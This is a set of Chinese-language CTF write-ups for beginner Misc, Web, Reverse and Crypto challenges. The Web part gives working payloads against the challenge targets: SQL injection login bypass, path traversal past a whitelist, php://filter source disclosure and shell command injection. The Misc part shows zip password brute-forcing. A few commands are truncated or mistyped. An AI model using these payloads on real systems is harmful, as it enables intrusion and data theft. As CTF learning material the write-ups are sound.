Misc
01金三胖
CTF² 下载附件得到一份GIF文件,打开GIF文件看到中间会闪过疑似flag,于是分离GIF
sudo apt install imagemagick
convert aaa.gif frame_%03d.png


得到flag
02二维码
CTF²
先用QRCode扫码得到
直接扫描并没有得到flag
strings QR_code.png
于是binwalk提取得到1D7压缩包,尝试解压但是需要密码
压缩包中的文件为4number.txt,所以密码很可能是4位纯数字,用fcrackzip爆破
fcrackzip -b -c 1 -l 4-4 -u 1D7.zip
接下来继续解压缩得到txt文件,进而得到flag

03N种方法解决
CTF² 先检查文件类型
file KEY.exe
得到结果说明它实际上是txt文本文件 接下来查看文件头
head -c 100 KEY.exe

文件类型:jpg图片 + Base64编码的图片数据
sed 's/^data:image\/[^;]*;base64,//' KEY.exe | base64 -d > key.png
解码得出一张二维码 但原二维码比较小且缺乏足够的白色边缘,需要放大并添加白边
agick key.png -filter point -resize 800% \
再用扫码工具扫码

04大白
CTF²
打开图片发现只有上半截,于是修改宽高

05你竟然赶我走
CTF² 从文件中提取能直接显示的可读字符串
strings biubiu.jpg
在输出中直接看到flag
Web
06[极客大挑战 2019]Havefun
CTF²
网页会读取URL中名为cat的参数,当参数值等于dog时输出flag
于是在URL后面加上
?cat=dog

07[极客大挑战 2019]EasySQL
CTF² 打开题目后看到一个登陆页面,需要输入用户名和密码。 先随便输入,发现URL有变化
[check](https://91a88c5879123e7a80f3577f.http-ctf2.dasctf.com/check.php?username=1&password=1)
所以这道题目是直接将用户输入的用户名和密码直接拼接到SQL查询语句中,例如
SELECT * FROM users WHERE username='$username' AND password='$password';
在用户名中输入单引号
页面出现SQL语法错误,说明输入的单引号被拼接进了SQL语句,因此存在SQL注入漏洞
构造Payload


原理分析
将输入内容带入后,SQL语句变成
SELECT * FROM users
WHERE username='admin' or 1=1#'
AND password='1';
其中
admin'
用于提前闭合用户名外面的单引号
or 1=1
加入一个永远成立的条件,因为1=1始终为真
#
将后面的密码判断和多余的单引号全部注释掉
所以将判断条件变成
用户名是adimin或者1等于1
所以登陆成功,显示flag
08[HCTF 2018]WarmUp
CTF²
查看源码,看到有文件source.php
于是访问source.php
代码中存在白名单
$whitelist = [
"source" => "source.php",
"hint" => "hint.php"
];
说明程序允许访问source.php与hint.php
程序会接受file参数,
$_REQUEST['file']
通过检查后执行
include $_REQUEST['file'];
也就是将用户传入的文件夹包含进来,于是访问
/index.php?file=hint.php
尝试直接访问
因为ffffllllaaaagggg不在白名单中,所以无法访问
分析白名单检查漏洞
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
这段代码会取出传入内容中第一个 ? 前面的部分,然后判断它是否在白名单中。
于是构造payload
/index.php?file=hint.php?/../../../../../../ffffllllaaaagggg
程序检查时读取?前面的hint.php,读取通过
后面的/../../../../../../返回上级目录,最后读取ffffllllaaaagggg文件

09[ACTF2020 新生赛]Include
CTF²
打开靶机地址,看到有个tips,点击进去
地址栏中看到
?file=flag.php
说明网页读取了一个file的参数,并用它加载文件
因为服务器会把flag.php当作程序执行,并不会显示源代码,但flag可能藏在注释中,所以直接访问并不会显示flag
使用 php://filter
将file后面的内容修改为
php://filter/read=convert.base64-encode/resource=flag.php
将显示出来的字符用Base64解密

Payload含义
php://filter
表示使用PHP过滤协议
read=convert.base64-encode
读取文件时将内容转换为Base64
resource=flag.php
读取的目标文件是flag.php
10 [ACTF2020 新生赛]Exec
CTF² 打开靶机地址看到一个要求输入IP地址的画面,先输入
127.0.0.1
这一步确认网页确实在调用ping
在输入框中输入
127.0.0.1;ls
查看根目录
127.0.0.1;ls /
于是读取flag
127.0.0.1;cat /flag
出现了flag
Reverse
11easyre
先检查文件
file easyre.exe
说明是一个Windows可执行程序
检查可读字符串
strings easyre.php | grep -i flag
找到了flag
12reverse1
CTF² 判断文件类型
file reverse_1.exe
结果显示
PE32+ executable
x86-64
Windows console
也就是一个64位Windows控制台程序,看起来没有加壳,并且保留了调试信息 查看可疑字符串
strings reverse_1.exe | grep -Ei "flag|input|right|wrong"
输出中并没有直接出线最终flag,所以要继续查看程序的判断逻辑
用IDA打开程序
双击main_0,进去后点击F5
看程序,程序会把字符串中的所有字母o替换成数字0
{hello_world}
↓
{hell0_w0rld}
程序随后读取输入并比较字符串 所以正确输入为
{hell0_w0rld}
所以flag:
flag{hell0_w0rld}
13reverse2
CTF²
检查文件
Linux的ELF文件
先试这个,但显然不对
子进程中
将
i → 1
r → 1
所以子进程修改后的flag是
{hack1ng_fo1_fun}
在Kali中进行验证

最终提交
这类题通常提交子进程变换后的结果
flag{hack1ng_fo1_fun}
Crypto
14看我回旋踢
CTF² 附件给了字符串,结合题目提示“得到的flag请包上flag{}提交”猜测synt对应flag
#!/usr/bin/env python3
import sys
def rot13_keep_digits(text: str) -> str:
"""
对文本进行 ROT13 解密(字母移位 13 位)。
数字、标点等字符保持原样,不做任何转换。
"""
result = []
for char in text:
if 'a' <= char <= 'z':
# 小写字母 a..z 循环移 13 位
result.append(chr((ord(char) - ord('a') + 13) % 26 + ord('a')))
elif 'A' <= char <= 'Z':
# 大写字母 A..Z 循环移 13 位
result.append(chr((ord(char) - ord('A') + 13) % 26 + ord('A')))
else:
# 数字、空格、标点等保持原样
result.append(char)
return ''.join(result)
def main():
ciphertext = sys.stdin.read()
plaintext = rot13_keep_digits(ciphertext)
sys.stdout.write(plaintext)
if __name__ == '__main__':
main()

15Quoted-printable
=E9=82=A3=E4=BD=A0=E4=B9=9F=E5=BE=88=E6=A3=92=E5=93=A6
之前都不知道还有Quoted-printable编码😄

16变异凯撒
CTF²
传统凯撒密码为固定移位,但是本题根据传统凯撒无法从afZ_解出flag
| 密文字符 | 密文 ASCII | 推测明文字符 | 明文 ASCII | 差值(偏移量) |
|---|---|---|---|---|
a |
97 | f |
102 | +5 |
f |
102 | l |
108 | +6 |
Z |
90 | a |
97 | +7 |
_ |
95 | g |
103 | +8 |
r |
114 | { |
123 | +9 |
| 所以可以推出解密规则 |
对密文第 i 个字符(i 从 0 开始),将 ASCII 码加上 (i + 5),即可得到明文字符。
cipher = "afZ_r9VYfScOeO_UL^RWUc"
plain = ""
for i in range(len(cipher)):
offset = i + 5
plain += chr(ord(cipher[i]) + offset)
print(plain)